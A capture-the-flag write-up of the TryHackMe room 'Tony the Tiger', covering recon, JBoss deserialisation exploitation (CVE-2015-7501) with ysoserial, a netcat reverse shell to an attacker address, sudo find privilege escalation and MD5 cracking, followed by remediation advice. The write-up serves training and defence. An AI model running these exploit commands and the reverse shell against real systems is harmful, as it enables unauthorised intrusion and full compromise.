Tony the Tiger - CTF Writeup
1. Challenge Description
Tony the Tiger is a boot-to-root room that introduces a Java Serialisation attack. The approach to ultimately rooting the box — in this case exploiting JBoss via CVE-2015-7501 — was new to TryHackMe when the room was released, so the author (cmnatic) explains serialisation theory and leaves most of the exploitation to you.
The room also touches on stored passwords & keys, misconfigured binaries (weak sudo permissions) and brute forcing an MD5 hash.
Background - what is a serialisation attack?
Serialisation converts in-memory "Objects" (OOP concepts, e.g. a lamp with state: on/off, bulb type) into a lower-level format called a byte stream so they can be stored or sent over a network. The reverse process is De-serialisation. A serialisation attack injects or modifies data during the byte-stream stage. When the app later de-serialises it, malicious code can execute — ranging from DoS, to data leaks, to being rooted.
Room Answers (Theory)
| Question | Answer |
|---|---|
| What is a great IRL example of an "Object"? | lamp |
| What is the acronym of a possible type of attack resulting from a serialisation attack? | DoS |
| What lower-level format does data within "Objects" get converted into? | byte stream |
2. Reconnaissance
$ nmap -A -sS -sC -sV -O <MACHINE_IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
80/tcp open http Apache httpd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Welcome to JBoss AS
8083/tcp open http JBoss service httpd
1099/tcp open java-rmi Java RMI RegistryService / Application Answers
| Question | Answer |
|---|---|
| What service is running on port "8080"? | Apache Tomcat/Coyote JSP engine 1.1 |
| What is the name of the front-end application running on "8080"? | JBoss |
Port 80 hosts a blog that Tony (the owner of the machine) keeps about — "totally unbiased" — taste-testing cereals. Port 8080 front-ends a JBoss Application Server, the actual attack surface for this box.
3. Blog Flag (Recon pwn)
# Only a hidden image is interesting here; pull it down:
$ curl -s http://<MACHINE_IP>/posts/frosted-flakes/ | grep img
<link rel='icon' type='image/x-icon' href="https://i.imgur.com/ATbbYpN.jpg" />
<p><img src="https://i.imgur.com/be2sOV9.jpg" alt="FrostedFlakes"></p>$ curl -s -O https://i.imgur.com/be2sOV9.jpg
$ strings be2sOV9.jpg | grep THM
THM{Tony_Sure_Loves_Frosted_Flakes}Tony's Blog Flag
4. Exploitation - CVE-2015-7501 (JBoss Deserialisation RCE)
The room ships a jboss.zip containing exploit.py, ysoserial.jar and credits.txt. The exploit targets the JMXInvokerServlet endpoint on JBoss and is vulnerable to CVE-2015-7501: JBoss exposes Apache Commons invoker/JMXInvokerServlet, which de-serialises Java objects in the HTTP body without validation — a textbook insecure deserialisation bug.
exploit.py generates a CommonsCollections5 gadget payload with ysoserial, then POSTs it to /invoker/JMXInvokerServlet. HTTP 200 = command executed.
gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections5', command])
r = requests.post('http://{}:{}/invoker/JMXInvokerServlet',
verify=False, data=gadget)The bundled ysoserial.jar is old and relies on com.nqzero.permit + reflective setAccessible(), which breaks on modern JDKs due to the module system and final fields:
$ java -jar ysoserial.jar CommonsCollections5 "id"
Error while generating or serializing payload
java.lang.reflect.InaccessibleObjectException: Unable to make field
private java.lang.String javax.management.BadAttributeValueExpException.val
accessible: module java.management does not "opens javax.management" ...
# <java 21> field "override" not found (my old permit library cannot cope)
com.nqzero.permit.Permit$InitializationFailed: ...Fix: run ysoserial under a Java 8 runtime (Temurin JRE 8), exactly like the JBoss-era target expects:
$ curl -sLO https://api.adoptium.net/v3/binary/latest/8/ga/linux/x64/jre/hotspot/normal/eclipse
$ tar -xzf jre8.tar.gz # -> jdk8u504-b01-jre
$ ./jdk8u504-b01-jre/bin/java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwn" > payload.bin
$ ls -la payload.bin # 2KB serialised payload, exit 0A vanilla nc -l gives a one-way socket whose stdin is /dev/null. A tiny Python relay (commands read from a file, responses appended to a log) makes the reverse shell fully scriptable:
$ setsid python3 relay.py & # binds 0.0.0.0:9001
$ ss -tln | grep 9001 # listening# Point the exploit at JRE 8 and send a reverse shell
$ python3 exploit.py 10.64.132.203:8080 "nc -e /bin/bash 192.168.157.97 9001"
[*] Target IP: 10.64.132.203
[*] Target PORT: 8080
[+] Command executed successfully
# Relay confirms the callback
=== connection from ('10.64.132.203', 56444) ===
$ id
uid=1000(cmnatic) gid=1000(cmnatic) groups=... The connector shell lands as the unprivileged cmnatic user — not the jboss system account. Time to pivot.
5. User Flag (JBoss)
Wandering through /home, the jboss user's directory contains a readable .jboss.txt and a note from CMNatic confirming the jboss password was reset:
$ cat /home/jboss/.jboss.txt
THM{50c10ad46b5793704601ecdad865eb06}
$ cat /home/jboss/note
... I have reset your password as requested (make sure not to tell it to anyone!)
Password: likeaboss6. Privilege Escalation
su refuses to run from a non-terminal, so spawn a PTY first, then switch user and inspect sudo -l:
$ python -c 'import pty; pty.spawn("/bin/bash")'
$ su jboss
Password: likeaboss
jboss@thm-java-deserial:~$ sudo -l
User jboss may run the following commands on thm-java-deserial:
(ALL) NOPASSWD: /usr/bin/findGNU find supports -exec, so the misconfigured NOPASSWD permission is an instant root shell (classic GTFOBins pattern):
jboss@thm-java-deserial:~$ sudo /usr/bin/find . -exec "/bin/bash" \;
# id
uid=0(root) gid=0(root) groups=0(root)Equivalently, run find through sudo to read the root flag directly:
$ sudo /usr/bin/find /root -name root.txt -exec cat {} \;
QkM3N0FDMDcyRUUzMEUzNzYwODA2ODY0RTIzNEM3Q0Y==7. Root Flag
/root/root.txt contains base64, which decodes to an MD5 hash. Cracking it (e.g. crackstation / hashcat) yields the final answer:
$ echo "QkM3N0FDMDcyRUUzMEUzNzYwODA2ODY0RTIzNEM3Q0Y==" | base64 -d
BC77AC072EE30E3760806864E234C7CF # MD5
$ hashcat -m 0 BC77AC072EE30E3760806864E234C7CF rockyou.txt
BC77AC072EE30E3760806864E234C7CF:zxcvbnm1234567898. Root Cause & Remediation
Root Cause
- CVE-2015-7501: JBoss'
invoker/JMXInvokerServletde-serialises attacker-controlled Java byte streams with no validation, enabling remote code execution via gadget chains (CommonsCollections5). - Weak creds / stored secrets: the
jbosspassword was left in a plaintext note owned by another user. - Misconfigured sudo:
NOPASSWD: /usr/bin/findwith-execis a trivial root primitive.
Remediation
- Patch/upgrade JBoss; disable or remove the
JMXInvokerServletand other exposed invoker endpoints - Restrict the servlet (and management interfaces) behind authentication + network ACLs/firewalls
- Validate and integrity-check serialised data (allowlists, signed tokens) or use safe serialisation formats (JSON, protobuf)
- Run JBoss as a least-privilege account; remove unnecessary
sudoentries fromjboss - Apply the principle of least knowledge — no passwords stored in world-readable files
9. Impact
- Remote Code Execution as the application user (
cmnatic) directly from the unauthenticated HTTP interface - Full system compromise: poor local hygiene (note + NOPASSWD sudo) escalates to
root - Serialisation attacks execute server-side, making them very hard to block via Firewall/IDS/IPS
10. Key Takeaways
- Insecure deserialisation is real and still very common because older Java apps (JBoss, etc.) remain in production —
CVE-2015-7501is a great first cut of the class - ysoserial gadgets that ship in old labs may need a Java 8 runtime to generate payloads on modern hosts — environment issues are part of the job
- Always enumerate
sudo -l; GTFOBins patterns likefind -execconvert a single NOPASSWD binary into a root shell - Read the room's hints — the theory section literally hands you the acronym ("ranging from DoS... to being rooted")